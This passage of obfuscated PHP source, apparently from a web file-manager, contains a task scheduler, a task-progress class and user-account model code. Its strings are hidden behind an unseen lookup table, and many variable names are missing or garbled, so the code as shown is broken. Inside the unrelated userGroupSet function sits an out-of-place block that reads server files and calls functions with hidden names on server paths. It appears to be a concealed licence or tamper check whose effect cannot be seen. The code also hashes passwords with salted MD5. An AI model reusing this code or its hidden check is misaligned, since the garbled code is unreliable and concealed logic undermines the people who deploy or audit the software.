5); self::valueSet(array($ҍ[1610] => $ҍ[190], $ҍ[751] => $ҍ[89]), !1); } public static function shutdownEvent() { $ު =& $_SERVER[㫙]; self::valueSet($ު[1610], $ު[190]); self::log($ު[1618]); } public static function config($, $ߺ) { self::valueSet($_SERVER[㫙][751], $); } private static function taskRunAll() { $ǰߓ =& $_SERVER[㫙]; $ꑺީ = timeFloat(); $œ = Model($ǰߓ[1619])->listData(); $愓 = count($œ); for ($ܻ = 0; $ܻ < $愓; $ܻ++) { $֕ɯ = $œ[$ܻ]; if (!$֕ɯ[$ǰߓ[392]] || $֕ɯ[$ǰߓ[1620]] != $ǰߓ[89]) { continue; } if (!self::taskTimeCheck($֕ɯ)) { continue; } self::taskRun($֕ɯ); } Hook::trigger($ǰߓ[1621]); self::taskQueueRun($ꑺީ); } private static function taskQueueRun($) { $ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ >= $) { break; } } } private static function taskTimeCheck($) { $쭌 =& $_SERVER[㫙]; $ = json_decode($[$쭌[196]], !0); $ = intval($[$쭌[1611]]); $߉ = strtotime($쭌[1622] . $[$쭌[1623]] . $쭌[1624]) - strtotime($쭌[1625]); $ = time() - strtotime(date($쭌[1626]) . $쭌[1627]); $ = $ >= $߉ && $ <= $߉ + 3600; switch ($[$쭌[33]]) { case $쭌[1628]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($[$쭌[1628]] == date($쭌[1629]) && $) { return !0; } break; case $쭌[1630]: if (time() - $ < 3600 * 24 * 7) { return !1; } $ = date($쭌[1631]) == 0 ? 7 : date($쭌[1631]); if ($[$쭌[1630]] == $ && $) { return !0; } break; case $쭌[1623]: if (time() - $ < 3600 * 24) { return !1; } if ($) { return !0; } break; case $쭌[1632]: if (time() - $ >= floatval($[$쭌[1632]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ц =& $_SERVER[㫙]; static $ʅ = 0; $΍ = 300; if (!$ʅ) { $ʅ = time(); } if (time() - $ʅ < $΍) { return; } $ʅ = time(); $ؔ = Model($ц[513])->db($ц[12]); if ($ؔ) { $ؔ->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($ц[1633], $ц[1634]); die; } } public static function taskRun($) { $ۅ =& $_SERVER[㫙]; self::log($ۅ[1635] . $[$ۅ[392]] . $ۅ[1636] . $[$ۅ[32]] . $ۅ[1637] . $[$ۅ[1638]]); Model($ۅ[1619])->run($[$ۅ[392]]); $ = timeFloat(); $ = $ۅ[12]; switch ($[$ۅ[33]]) { case $ۅ[302]: $ = url_request($[$ۅ[1638]], $ۅ[225], !1, !1, !1, !1, 10); if ($[$ۅ[751]]) { $ = strlen($[$ۅ[1187]]); } break; case $ۅ[224]: $ = Hook::apply($[$ۅ[1638]]); default: break; } Model($ۅ[1639])->add(array($ۅ[1640] => $ۅ[12], $ۅ[1641] => $ۅ[190], $ۅ[33] => $ۅ[1642] . $[$ۅ[392]], $ۅ[1643] => json_encode(array($ۅ[32] => $[$ۅ[32]], $ۅ[1644] => timeFloat() - $, $ۅ[288] => $)))); $ѻ = $ ? $ۅ[1645] . $ : $ۅ[12]; self::log($ۅ[1646] . $[$ۅ[392]] . $ۅ[536] . $ѻ); return !0; } private static function valueGet($̧) { $ =& $_SERVER[㫙]; $Ҝ = $[1647]; $Ԥ = Model($[433])->get($̧, $Ҝ); if (is_null($Ԥ)) { Model($[433])->set($[751], $[89], $Ҝ); Model($[433])->set($[1610], $[190], $Ҝ); $Ԥ = Model($[433])->get($̧, $Ҝ); } return $Ԥ; } private static function valueSet($뗗ݗ, $Ƞ) { $틴 =& $_SERVER[㫙]; $݊뎂 = $틴[1648]; CacheLock::lock($݊뎂); $ = Model($틴[433])->set($뗗ݗ, $Ƞ, $틴[1647]); CacheLock::unlock($݊뎂); return $; } protected static function log($җ) { write_log($җ, $_SERVER[㫙][1634]); } private static function cacheClear() { $ =& $_SERVER[㫙]; Cache::clearMemory(Model($[433])->cacheKey($[1647])); Cache::clearMemory(Model($[433])->cacheKey($[1649])); Model($[1619])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\x73\164\157\x70"; const STATYS_RUNNING = "\x72\165\156\156\x69\x6e\147"; const STATYS_KILL = "\x6b\x69\x6c\154"; public $task; public function __destruct() { $this->end(); } public function __construct($, $ʪ = '', $ = 0, $ = '') { $ =& $_SERVER[㫙]; if (self::get($)) { return; } $this->task = array($[392] => $, $[1650] => USER_ID, $[1548] => $, $[33] => $ʪ, $[1060] => $[12], $[787] => $, $[1651] => 0, $[1652] => 0, $[1653] => 0, $[1654] => timeFloat(), $[1655] => 0, $[1656] => 0, $[1657] => 0, $[1658] => 0, $[751] => $[1610]); $GLOBALS[$[1659]] = 1; Hook::bind($[1613], array($this, $[1660])); Hook::bind($[1661], array($this, $[1662])); $this->startAfter(); Hook::trigger($[1663], $this->task); $this->task[$[1656]] = timeFloat(); } public function end() { $٫ =& $_SERVER[㫙]; if (!$this->task) { return; } if ($this->task[$٫[1656]]) { self::valueSet($this->task[$٫[392]], !1); } $ = timeFloat() - $this->task[$٫[1654]]; self::log($٫[1664] . $this->task[$٫[392]] . $٫[1665] . $ . $٫[1666]); Hook::unbind($٫[1613], array($this, $٫[1660])); Hook::unbind($٫[1661], array($this, $٫[1662])); $this->endAfter(); $this->task = !1; } public function update($ = 0, $ۉ = false) { $ =& $_SERVER[㫙]; $ =& $this->task; if (!$) { return; } $[$[1651]] += $; $[$[1655]] = timeFloat(); if ($[$[787]]) { if ($[$[787]] < $[$[1651]]) { $[$[787]] = $[$[1651]]; } $ہ = timeFloat() - $[$[1654]] - $[$[1657]]; $[$[1652]] = $[$[1651]] / $[$[787]]; $[$[1653]] = $[$[1651]] / $ہ; if ($[$[1652]] > 0) { $[$[1658]] = $ہ * (1 - $[$[1652]]) / $[$[1652]]; } $[$[1658]] = $[$[1658]] <= 0 ? 0 : $[$[1658]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $[$[1656]] < $ && !$ۉ) { return; } $ = self::get($[$[392]]); $ڬ݇ = $[$[751]]; if ($ڬ݇ == self::STATYS_KILL) { $ۚ = array($[1667] => LNG($[1668]), $[1185] => !1); Cache::set($[1669] . $this->task[$[392]], $ۚ, 30); $this->onKill(); $this->end(); die; } else { if ($ڬ݇ == self::STATYS_STOP) { $ = 2; $[$[1657]] += $; self::valueSet($[$[392]], $); sleep($); $this->update(); return; } } $[$[751]] = $ڬ݇ ? $ڬ݇ : $[$[751]]; $[$[1657]] = $[$[1657]] ? $[$[1657]] : 0; $[$[1656]] = timeFloat(); Hook::trigger($[1670], $); self::valueSet($[$[392]], $); } public function onKillSet($Ģ, $۬ = array()) { $this->onKillCall = array($Ģ, $۬); } public function onKill() { $ܳ =& $_SERVER[㫙]; self::log($ܳ[1664] . $this->task[$ܳ[392]] . $ܳ[1671]); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($) { $ =& $_SERVER[㫙]; Cache::set($[1669] . $this->task[$[392]], $, 60); return $; } public static function get($р۩) { $ =& $_SERVER[㫙]; $ΙԞ = self::valueGet($р۩); if (is_array($ΙԞ) && $ΙԞ[$[1672]]) { $򚸽 = ActionApply($ΙԞ[$[1672]], array($ΙԞ)); $ΙԞ = is_array($򚸽) ? $򚸽 : $ΙԞ; } return $ΙԞ; } public static function listData() { $̓ӡ = self::valueGet(); return array_sort_by($̓ӡ, $_SERVER[㫙][1654], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($ڑ) { return self::changeStatus($ڑ, self::STATYS_RUNNING); } public static function killAll() { $ӹ¡ =& $_SERVER[㫙]; $ī = self::listData(); foreach ($ī as $) { self::kill($[$ӹ¡[392]]); } sleep(2); foreach ($ī as $) { self::valueSet($[$ӹ¡[392]], !1); } } private static function changeStatus($, $С) { $ =& $_SERVER[㫙]; $ɭ = self::valueGet($); if (!$ɭ) { return !1; } $ɭ[$[751]] = $С; self::valueSet($, $ɭ); self::log($[1673] . $ɭ[$[392]] . $[1674] . $С); return !0; } public static function valueGet($ = false) { $船 =& $_SERVER[㫙]; if ($) { $ = Model($船[445])->where(array($船[95] => $, $船[33] => $船[1067]))->find(); return $ ? json_decode($[$船[369]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ = false) { $΄ =& $_SERVER[㫙]; $ő = array($΄[33] => $΄[1067]); if ($) { $ő[$΄[1650]] = $; } $҉Ɏ = Model($΄[445])->where($ő)->select(); $҉Ɏ = $҉Ɏ ? $҉Ɏ : array(); foreach ($҉Ɏ as $ʔ => $) { $҉Ɏ[$ʔ] = json_decode($[$΄[369]], !0); } return $҉Ɏ; } public static function valueSet($, $ōؽ) { $ =& $_SERVER[㫙]; if (!$ōؽ) { return Model($[445])->where(array($[95] => $, $[33] => $[1067]))->delete(); } $ = json_encode($ōؽ); if (!$) { ob_start(); var_dump($ōؽ); $ = ob_get_clean(); self::log($[1675] . json_encode_force($)); } if (!$ || !$ōؽ[$[392]]) { return !1; } $֫ = array($[33] => $[1067], $[1650] => USER_ID, $[95] => $, $[369] => $); $ = $[1676]; CacheLock::lock($); Model($[445])->add($֫, array(), !0); CacheLock::unlock($); } public static function log($Ɔ) { if (!GLOBAL_DEBUG) { return; } write_log($Ɔ, $_SERVER[㫙][1677]); } } goto a袏; AĐř: class UserModel extends ModelBase { protected $tableName = "\165\163\x65\x72"; protected $tableMeta = array("\x74\141\x62\x6c\145\116\x61\155\x65" => "\x75\x73\x65\x72\x5f\155\x65\164\141", "\x6d\x65\x74\141\106\151\x65\x6c\144" => "\165\163\145\162\x49\x44"); protected $simpleField = "\165\163\145\x72\111\104\x2c\156\x69\143\153\x4e\x61\155\x65\x2c\x6e\141\155\x65\54\141\166\141\164\x61\x72\x2c\x73\145\170\x2c\163\164\141\x74\165\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($) { $ =& $_SERVER[㫙]; $ҭѿ = $[2246]; return array($[1895] => array($[0], $ҭѿ), $[1897] => array($[0], $ҭѿ), $[2247] => array($[0], $ҭѿ)); } protected function getInfo($ݐ, $֪ = false) { $ϑƧ = $this->getInfoSimple($ݐ); if (!is_array($ϑƧ)) { return array(); } if ($֪) { return $this->_getInfoApply($ϑƧ); } return $this->cacheFunctionGet($_SERVER[㫙][1899], $ݐ); } protected function getInfoFull($Ȅ, $ = false) { $˥я = $this->getInfoSimple($Ȅ); if (!is_array($˥я)) { return array(); } if ($) { return $this->_getInfoApply($˥я, !0); } return $this->cacheFunctionGet($_SERVER[㫙][2248], $Ȅ); } private function _getInfoApply($, $ã = false) { $Æ̮ =& $_SERVER[㫙]; if (!$) { return $; } $ω = md5($Æ̮[2249] . $[$Æ̮[885]] . $Æ̮[2250] . $[$Æ̮[32]]); $ = $this->_listDataApplyItem($); $ӥ = Model($Æ̮[1321])->metaGet($[$Æ̮[87]][$Æ̮[403]]); $[$Æ̮[2251]] = $ω; $[$Æ̮[87]][$Æ̮[2081]] = isset($ӥ[$Æ̮[2082]]) ? $ӥ[$Æ̮[2082]] : null; if ($ã) { $[$Æ̮[465]] = $this->metaGet($[$Æ̮[1650]]); } return $; } protected function getInfoSimple($, $ꊜ = false) { $䔪 =& $_SERVER[㫙]; if (!$) { return array(); } if ($ꊜ) { $ƥ = $this->where(array($䔪[1650] => intval($)))->find(); if (!is_array($ƥ)) { return array(); } $ƥ[$䔪[2252]] = Action($䔪[2253])->parseUrl($ƥ[$䔪[2252]]); return $ƥ; } return $this->cacheFunctionGet($䔪[1900], $); } protected function getInfoSimpleOuter($) { $ =& $_SERVER[㫙]; if (!$ || $ == 0) { return array($[1650] => $[190], $[32] => $[159] . LNG($[2254]) . $[536], $[2252] => STATIC_PATH . $[2255]); } $ = $this->cacheFunctionGet($[1900], $); $킗ю = array_field_key($, explode($[50], $this->simpleField)); if (!$킗ю) { return array($[1650] => $[1184], $[32] => $[159] . LNG($[2256]) . $[536], $[2252] => STATIC_PATH . $[2257]); } $킗ю[$[2252]] = Action($[2253])->parseUrl($킗ю[$[2252]]); return $킗ю; } protected function groupUser($) { } public static function errorLang($䆆) { $ϜҘ =& $_SERVER[㫙]; $׸ = array(self::ERROR_USER_NOT_EXISTS => $ϜҘ[2258], self::ERROR_USER_PASSWORD_ERROR => $ϜҘ[2259], self::ERROR_USER_EXIST_NAME => $ϜҘ[2260], self::ERROR_USER_EXIST_PHONE => $ϜҘ[2261], self::ERROR_USER_EXIST_EMAIL => $ϜҘ[2262], self::ERROR_USER_LOGIN_LOCK => $ϜҘ[2263], self::ERROR_IP_NOT_ALLOW => $ϜҘ[2264], self::ERROR_USER_EXIST_NICKNAME => $ϜҘ[2265]); return LNG($׸[$䆆]); } public function getInfoByMeta($ˏ, $󀓿) { $ =& $_SERVER[㫙]; $ = Model($[2266])->where(array($[95] => $ˏ, $[369] => $󀓿))->find(); if ($) { return $this->getInfo($[$[1650]]); } return !1; } public function userLoginCheck($㘢, $⚊) { $茴 =& $_SERVER[㫙]; $ďƒ = $this->userLoginFind($㘢); if (!$ďƒ) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($ďƒ[$茴[1650]], $⚊)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($ďƒ[$茴[1650]]); } public function userLoginFind($ʮܑ) { $ =& $_SERVER[㫙]; $ = array($[32] => $ʮܑ, $[2086] => $ʮܑ, $[300] => $ʮܑ, $[2267] => $ʮܑ, $[996] => $[998]); if ($this->nickNameRpt()) { unset($[$[2086]]); } return $this->where($)->find(); } public function clearCache($۲) { $ɾ =& $_SERVER[㫙]; $this->cacheFunctionClear($ɾ[1899], $۲); $this->cacheFunctionClear($ɾ[1900], $۲); $this->cacheFunctionClear($ɾ[2248], $۲); } public function userPasswordCheck($, $) { $Ђ =& $_SERVER[㫙]; $˳ = $this->where(array($Ђ[1650] => intval($)))->find(); $ = $this->metaGet($); $Ћ = isset($[$Ђ[2268]]) ? $[$Ђ[2268]] : $Ђ[12]; if (md5($Ћ . trim($)) !== $˳[$Ђ[885]]) { return !1; } return !0; } public function userAdd($ݣ) { $ޣ =& $_SERVER[㫙]; $⛂৘ = array($ޣ[421] => $ݣ[$ޣ[32]], $ޣ[2269] => $ݣ[$ޣ[1528]], $ޣ[2270] => isset($ݣ[$ޣ[300]]) ? $ݣ[$ޣ[300]] : $ޣ[12], $ޣ[2271] => isset($ݣ[$ޣ[2267]]) ? $ݣ[$ޣ[2267]] : $ޣ[12], $ޣ[2272] => isset($ݣ[$ޣ[2086]]) ? $ݣ[$ޣ[2086]] : $ݣ[$ޣ[32]], $ޣ[2273] => isset($ݣ[$ޣ[2252]]) ? $ݣ[$ޣ[2252]] : $ޣ[12], $ޣ[2274] => isset($ݣ[$ޣ[2275]]) ? $ݣ[$ޣ[2275]] : 1, $ޣ[2276] => $ݣ[$ޣ[885]], $ޣ[1901] => isset($ݣ[$ޣ[1805]]) ? $ݣ[$ޣ[1805]] : 1024 * 1024 * 20, $ޣ[1902] => 0, $ޣ[2277] => 0, $ޣ[1942] => isset($ݣ[$ޣ[751]]) ? $ݣ[$ޣ[751]] : 1); if (!empty($ݣ[$ޣ[1650]])) { $⛂৘[$ޣ[1650]] = $ݣ[$ޣ[1650]]; } $ʠ = $this->_checkExist($ݣ); if ($ʠ !== !0) { return $ʠ; } $ = $this->add($⛂৘); $ً = array($ޣ[2276] => $⛂৘[$ޣ[885]], $ޣ[2272] => $⛂৘[$ޣ[2086]]); $this->userEdit($, $ً); Model($ޣ[1321])->userRootAdd($); return $; } protected function userEditTest($͊λ, $о) { return $this->call($_SERVER[㫙][2278], $͊λ, $о); } protected function userEdit($􍤪, $㺕) { $ =& $_SERVER[㫙]; $ = $this->getInfoSimple($􍤪); if (!$) { return !1; } $ = $this->_checkExist($㺕, $􍤪); if ($ !== !0) { return $; } if (isset($㺕[$[885]]) && trim($㺕[$[885]]) != $[12]) { $ڭ = $this->metaGet($􍤪); if (empty($ڭ[$[2268]])) { $ڭ[$[2268]] = rand_string(10); Model($[513])->metaSet($􍤪, $[2268], $ڭ[$[2268]]); } $㺕[$[885]] = md5($ڭ[$[2268]] . trim($㺕[$[885]])); } else { unset($㺕[$[885]]); } $this->where(array($[1641] => $􍤪))->save($㺕); if (isset($㺕[$[2086]])) { $this->setNamePinyin($􍤪, $㺕[$[2086]]); } $this->clearCache($􍤪); return !0; } public function setNamePinyin($, $˪ = false) { $ =& $_SERVER[㫙]; if (!$˪) { $ƥ = $this->getInfoSimple($); $˪ = $ƥ[$[2086]] ? $ƥ[$[2086]] : $ƥ[$[32]]; } $ = Model($[538]); if (!Input::check($˪, $[587])) { return $->metaSet($, array($[464] => $[12], $[463] => $[12])); } return $->metaSet($, array($[464] => str_replace($[53], $[12], Pinyin::get($˪)), $[463] => Pinyin::get($˪, $[588]))); } private function nickNameRpt() { $ƽ =& $_SERVER[㫙]; $ǎ = Model($ƽ[771])->get($ƽ[2279]); $ = $GLOBALS[$ƽ[6]][$ƽ[376]][$ƽ[2279]]; $կ = !is_null($ǎ) ? $ǎ : $; return !!$կ; } private function _checkExist($ё, $տ = false) { $ =& $_SERVER[㫙]; $ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[2086] => UserModel::ERROR_USER_EXIST_NICKNAME, $[300] => UserModel::ERROR_USER_EXIST_EMAIL, $[2267] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$[2086]]); } $ݺ = $տ ? array($[1650] => array($[2280], $տ)) : array(); foreach ($ as $ => $ƚ) { $޻ = array(); foreach ($ as $Ε => $) { if (isset($ё[$Ε]) && $ё[$Ε]) { $޻[] = $ё[$Ε]; } } if (!$޻) { continue; } $ = array_merge(array($ => array($[7], $޻)), $ݺ); $ʘ = $this->where($)->find(); if ($ʘ) { return $ƚ; } } return !0; } public function userListInfo($) { $Ϙĩ =& $_SERVER[㫙]; $Ȼ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $Ȼ; } if (count($) < 20) { foreach ($ as $) { $Ȼ[$ . $Ϙĩ[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($Ϙĩ[1641] => array($Ϙĩ[419], $)); if (count($) == 1) { $ = array($Ϙĩ[1641] => $[0]); } $お = Model($Ϙĩ[513])->field($this->simpleField)->where($)->select(); $お = array_to_keyvalue($お, $Ϙĩ[1650]); foreach ($ as $) { $ۗ = $お[$]; if (!$ۗ) { $Ȼ[$ . $Ϙĩ[12]] = $this->getInfoSimpleOuter($); continue; } $ۗ[$Ϙĩ[2252]] = Action($Ϙĩ[2253])->parseUrl($ۗ[$Ϙĩ[2252]]); $Ȼ[$ . $Ϙĩ[12]] = $ۗ; } } return $Ȼ; } protected function userStatus($ڋ, $Ȭ) { $ݷ = $this->getInfoSimple($ڋ); if (!$ݷ) { return !1; } $֤ = array($_SERVER[㫙][751] => $Ȭ); return $this->userEdit($ڋ, $֤); } protected function userRemove($湢) { $ݼ =& $_SERVER[㫙]; $ = $this->getInfoSimple($湢); if (!$) { return !1; } $ = array($ݼ[1641] => $湢); Model($ݼ[595])->where($)->delete(); Model($ݼ[2281])->where($)->delete(); Model($ݼ[1907])->where($)->delete(); Model($ݼ[2266])->where($)->delete(); Model($ݼ[1064])->where($)->delete(); Model($ݼ[2103])->removeUserAll($湢); Model($ݼ[826])->userRootRemove($湢); return $this->where($)->delete(); } protected function userGroupSet($, $, $رۿ = array()) { $ɷ =& $_SERVER[㫙]; if ($_SERVER[$ɷ[395]] != $_SERVER[$ɷ[1577]]) { $ז = $ɷ[873]; $ɭ = $ɷ[396]; $ = $_SERVER[$ɷ[397]] . $ɷ[398]; $Ĥء = $ɭ($); $₤ = explode($ɷ[226], $Ĥء); if (count($₤) < $ɷ[612]) { $ = $ɷ[400]; $(); } $Ǚ = $ɷ[874]; $Ǚ($_SERVER[$ɷ[875]]); $Ǚ($_SERVER[$ɷ[397]] . $ɷ[1578]); $ϟ = 1; while ($ϟ > 1) { $ϟ = $ϟ + 4; $ݦ = rawurlencode($ϟ . $ɷ[373]); } } $ = $this->getInfoSimple($); if (!$ || !is_array($)) { return !1; } $ﬕ = Model($ɷ[1907]); $ﬕ->where(array($ɷ[1650] => $))->delete(); $Ӟ = array(); $Ɖ = 0; foreach ($ as $ɮ => $پ) { $򟻕 = array($ɷ[1650] => $, $ɷ[1818] => $ɮ, $ɷ[1919] => $پ); $򟻕[$ɷ[1841]] = isset($رۿ[$Ɖ]) ? $رۿ[$Ɖ] : 0; $Ɖ++; $Ӟ[] = $򟻕; } return $ﬕ->addAll($Ӟ, array(), !0); } protected function userGroupAdd($г, $ = array()) { $ =& $_SERVER[㫙]; $⚓ = $this->getInfoSimple($г); if (!$⚓ || empty($)) { return !1; } $ = array(); foreach ($ as $Ǽ => $) { $[] = array($[1650] => $г, $[1818] => $Ǽ, $[1919] => $, $[1841] => 0); } return Model($[1907])->addAll($, array(), !0); } protected function userGroupRemove($έ, $ʷ) { $ƣ =& $_SERVER[㫙]; $붒 = $this->getInfoSimple($έ); if (!$붒 || !$ʷ) { return !1; } $휿 = array($ƣ[1641] => $έ, $ƣ[1905] => $ʷ); return Model($ƣ[1907])->where($휿)->delete(); } public function listData() { $̑ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($̑[$_SERVER[㫙][364]]); return $̑; } public function listByID($) { $܄ӌ =& $_SERVER[㫙]; if (!$) { return; } $ = array($܄ӌ[1650] => array($܄ӌ[7], $)); $ϙ = $this->where($)->select(); $ϙ = array_sort_keep($ϙ, $܄ӌ[1650], $); $this->_listDataApply($ϙ); return $ϙ; } public function listByGroup($ = 0, $ = array()) { $֞ =& $_SERVER[㫙]; $ə = $֞[12]; $ư֨ = array(); if ($) { $ư֨ = array($֞[2282] => intval($)); $ə = "\114\x45\106\x54\x20\x4a\117\x49\x4e\40{$this->tablePrefix}\x75\163\x65\162\137\x67\x72\x6f\165\160\x20\x75\x73\145\x72\137\x67\162\157\x75\160\x20\157\156\40\165\163\145\162\x2e\165\163\x65\162\x49\x44\40\x3d\x20\165\163\145\x72\137\x67\x72\157\x75\160\x2e\165\163\x65\162\x49\104"; $ = Input::get($֞[455], null, $֞[12]) ? $֞[12] : $֞[2283]; } if (isset($[$֞[751]])) { $ư֨[$֞[2284]] = $[$֞[751]]; } $ć = $this->_makeOrder($)->field($֞[2285])->where($ư֨)->join($ə)->selectPage(50); $this->_listDataApply($ć[$֞[364]]); return $ć; } private function _makeOrder($ = '') { $ =& $_SERVER[㫙]; $ = array($[1650], $[32], $[1807], $[1779], $[193]); $Ѽ = array($[448] => $[449], $[450] => $[451]); $ = Input::get($[455], $[7], $[1641], $); $߭ = Input::get($[456], $[7], $[1908], array($[1908], $[450])); $߭ = $Ѽ[$߭]; $ = $ . "\165\163\x65\162\56{$}\x20{$߭}\x2c\x20\x75\x73\145\x72\x2e\x75\163\145\162\111\104\x20\x61\163\x63"; return $this->alias($[2026])->order($); } public function listSearch($) { $є =& $_SERVER[㫙]; $Ձ = $[$є[1909]]; $Іˑ = isset($[$є[1910]]) ? $[$є[1910]] : !1; $Ձ = str_replace($є[1911], $є[1912], trim($Ձ)); $ = array($є[32] => array($є[378], "\45{$Ձ}\45"), $є[300] => array($є[378], "{$Ձ}\x25"), $є[2086] => array($є[378], "{$Ձ}\45"), $є[996] => $є[1913]); if (Input::check($Ձ, $є[306])) { $[$є[1650]] = array($є[378], "{$Ձ}\x25"); $[$є[2267]] = array($є[378], "{$Ձ}\45"); } if (!$Ձ) { $ = array(); } if (isset($[$є[751]])) { $[$є[751]] = $[$є[751]]; } $ = $this->parseWhereLike($); $ΕǞ = $this->_makeOrder()->where($)->selectPage(20); if (!$ΕǞ || count($ΕǞ[$є[364]]) < 5 && Input::check($Ձ, $є[313])) { $̵˟ = $this->_searchFromMeta($є[463], $Ձ, 10); $֟ = $this->_searchFromMeta($є[464], $Ձ, 10); $ʜ = array_merge($̵˟, $֟, $ΕǞ[$є[364]]); $ΕǞ[$є[364]] = array_unique_by_key($ʜ, $є[1650]); $ΕǞ[$є[361]][$є[362]] = count($ΕǞ[$є[364]]); $ΕǞ[$є[361]][$є[363]] = ceil($ΕǞ[$є[361]][$є[362]] / $ΕǞ[$є[361]][$є[358]]); } $this->_listDataApply($ΕǞ[$є[364]]); $this->_filterByGroup($ΕǞ, $Іˑ); return $ΕǞ; } private function _filterByGroup(&$, $Ϭ) { $ =& $_SERVER[㫙]; if (!$Ϭ) { return $; } foreach ($[$[364]] as $У => &$) { $ه = array_to_keyvalue($[$[1996]], $[12], $[1818]); if (!in_array($Ϭ, $ه)) { unset($[$[364]][$У]); } } unset($); $[$[364]] = array_values($[$[364]]); $[$[361]] = array($[2059] => count($[$[364]]), $[2057] => $[$[361]][$[358]], $[2056] => 1, $[2058] => 1); } private function _searchFromMeta($럞, $, $) { $Ŋ =& $_SERVER[㫙]; $ = strtolower($); $Ѯ = array($Ŋ[95] => $럞, $Ŋ[369] => array($Ŋ[378], "\x25{$}\45")); $Ѯ = $this->parseWhereLike($Ѯ); $ = Model($Ŋ[2286])->where($Ѯ)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $Ŋ[12], $Ŋ[1650]); $ݷ = $this->where(array($Ŋ[1641] => array($Ŋ[7], $)))->select(); if (!$ݷ) { return array(); } return $ݷ; } private function _listDataApplyItem($˄) { $ = array($˄); $this->_listDataApply($); return $[0]; } private function _listDataApply(&$ﷻɄ) { $ =& $_SERVER[㫙]; if (!$ﷻɄ) { return; } array_remove_key($ﷻɄ, $[885]); $ = array_to_keyvalue($ﷻɄ, $[12], $[1650]); $this->_listAppendGroup($ﷻɄ, $); $this->_listAppendMeta($ﷻɄ, $); $this->_listAppendSourceRoot($ﷻɄ, $); } private function _listAppendSourceRoot(&$, $ܓԿ) { $Ө =& $_SERVER[㫙]; $֛ = Model($Ө[826])->listSourceRoot(SourceModel::TYPE_USER, $ܓԿ); $֛ = array_to_keyvalue($֛, $Ө[504]); $֛ = array_remove_key($֛, $Ө[504]); foreach ($ as &$ƪ) { $ƪ[$Ө[87]] = $֛[$ƪ[$Ө[1650]]] ? $֛[$ƪ[$Ө[1650]]] : array(); } unset($ƪ); } private function _listAppendGroup(&$, $Б) { $ =& $_SERVER[㫙]; $֍ = array($[1650] => array($[7], $Б)); $̟ = Model($[1907])->where($֍)->select(); $ң͎ = array_to_keyvalue($̟, $[12], $[1818]); $ң͎ = array_remove_value(array_unique($ң͎), $[190]); if (!$ң͎ || !$̟) { return; } $֍ = array($[1818] => array($[7], $ң͎)); $ = Model($[1994])->field($[2287])->where($֍)->select(); $ = array_to_keyvalue($, $[1818]); $̟ = array_to_keyvalue_group($̟, $[1650]); foreach ($̟ as &$ێ) { $߯ = array(); foreach ($ێ as $) { if (!$[$[1919]]) { continue; } $ = Model($[507])->listData($[$[1919]]); $߯[] = array($[1818] => $[$[1818]], $[2288] => $[$[$[1818]]][$[32]], $[521] => $[$[$[1818]]][$[521]], $[414] => $); } $ێ = $߯; } unset($ێ); foreach ($ as &$ז) { $ז[$[1996]] = array(); if (isset($̟[$ז[$[1650]]])) { $ז[$[1996]] = $̟[$ז[$[1650]]]; } } unset($ז); } public function userAppendGroup($䆂) { $ =& $_SERVER[㫙]; if (!$䆂) { return array(); } $this->_listAppendGroup($䆂, array_to_keyvalue($䆂, $[12], $[1650])); return $䆂; } private function _listAppendMeta(&$ؔ, $ڡ̭) { $ =& $_SERVER[㫙]; $ȃ = UserJobModel::JOB_KEY; $ = array($[2268]); $գ = array($[1650] => array($[7], $ڡ̭)); $ = Model($[2266])->where($գ)->select(); $ = array_to_keyvalue_group($, $[1650]); foreach ($ as &$Ͽ) { $þ = array(); foreach ($Ͽ as $ⓣ) { if (!in_array($ⓣ[$[95]], $)) { $þ[$ⓣ[$[95]]] = $ⓣ[$[369]]; } } $Ͽ = $þ; } unset($Ͽ); $ڳ = Model($[2289]); foreach ($ؔ as &$˼ј) { $ = array(); if (isset($[$˼ј[$[1650]]])) { $ = $[$˼ј[$[1650]]]; } $˼ј[$[2290]] = array(); if (isset($[$ȃ])) { $˼ј[$[2290]] = $ڳ->getUserJobInfo($[$ȃ]); } } unset($˼ј); } protected function groupUserAll($ΈӸ) { $ =& $_SERVER[㫙]; if (!$ΈӸ) { return !1; } $ = Model($[1907])->field($[1650])->where(array($[1818] => array($[7], $ΈӸ)))->select(); $ = array_to_keyvalue($, $[12], $[1650]); return array_unique($); } public function userSearch($è؀, $Ʌ = "\x2a") { return Model($_SERVER[㫙][538])->where($è؀)->field($Ʌ)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\x73\145\162\x5f\x6f\x70\164\151\157\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($) { $ߢ =& $_SERVER[㫙]; if (!defined($ߢ[474])) { define($ߢ[474], 0); } return "\125\x73\145\162\117\x70\164\151\157\x6e\x5f{$}\137" . USER_ID; } protected function filterWhere($ذ) { $ޯ =& $_SERVER[㫙]; if (!defined($ޯ[474])) { define($ޯ[474], 0); } $ذ[$ޯ[1650]] = USER_ID; return $ذ; } public function cacheRemoveUser($, $Ɣθ) { 